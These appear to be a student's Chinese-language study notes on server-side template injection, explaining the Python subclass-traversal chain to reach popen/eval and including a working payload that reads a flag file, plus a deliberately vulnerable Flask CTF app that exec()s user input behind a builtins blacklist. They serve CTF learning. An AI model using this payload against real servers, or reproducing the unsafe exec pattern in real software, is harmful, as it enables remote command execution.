SSTI
晚上学长讲了ssti 我好像要长脑子了..
源于一道ssti的签到题
ssti
ssti:服务器端模板注入漏洞
{
为什么利用 {{}}
来执行ssti语句
a =''.__class__.__base__.__subclasses__()
‘’
一个实例
例如
print('i')//打印字符串
__class__
类的内置属性,返回该实例的类型
__base__
返回父类
__subclassess__
查看当前函数下的所有子类(父类的所有子类)
创建一个for循环
如果i在a里边,将i当作字符串,如果i在 wrap_close
子类里 打印b
b+=1
__subclassess__()[0]
是调用第一个子类,故 +1
找到 wrap_close
子类,找 wrap_close
子类的原因是 wrap_close
子类里边有能实现命令执行的函数 如popen
函数
a =''.__class__.__base__.__subclasses__()[132].__init__
__init__
初始化 创建一个新的实例
__globals__
__globals__
将获取到的方法 椅子垫的形式返回
popen
找到 popen
函数 利用 popen
函数来执行命令
泼盆
函数相对于 sysytem
函数来讲 更安全一点
__builtins__
__builtins__
模块里边有 eval()
函数 可以执行命令 如
a =''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__"('os').popen('cat flag').read())
open
打开文件 如
read()
如果没有 read()
显示字节流 数据存在字节流里面
例题 菜狗工具
app.py
from flask import *
import io
import os
app = Flask(__name__)
black_list = [
'__build_class__', '__debug__', '__doc__', '__import__',
'__loader__', '__name__', '__package__', '__spec__', 'SystemExit',
'breakpoint', 'compile', 'exit', 'memoryview', 'open', 'quit', 'input'
]
new_builtins = dict([
(key, val) for key, val in __builtins__.__dict__.items() if key not in black_list
])
flag = "flag{xxxxxxxxx}"
@app.route("/")
def index():
return redirect("/static/index.html")
@app.post("/run")
def run():
out = io.StringIO()
script = str(request.form["script"])
def wrap_print(*args, **kwargs):
kwargs["file"] = out
print(*args, **kwargs)
new_builtins["print"] = wrap_print
try:
exec(script, {"__builtins__": new_builtins})
except Exception as e:
wrap_print(e)
ret = out.getvalue()
out.close()
return ret
app.run('0.0.0.0', port=9001)
返回实例类型
返回父类
查找所有子类
找到 _wrap_close_
子类 想用里边的函数去实现命令执行
初始化实例
访问 app.py
popen
函数为空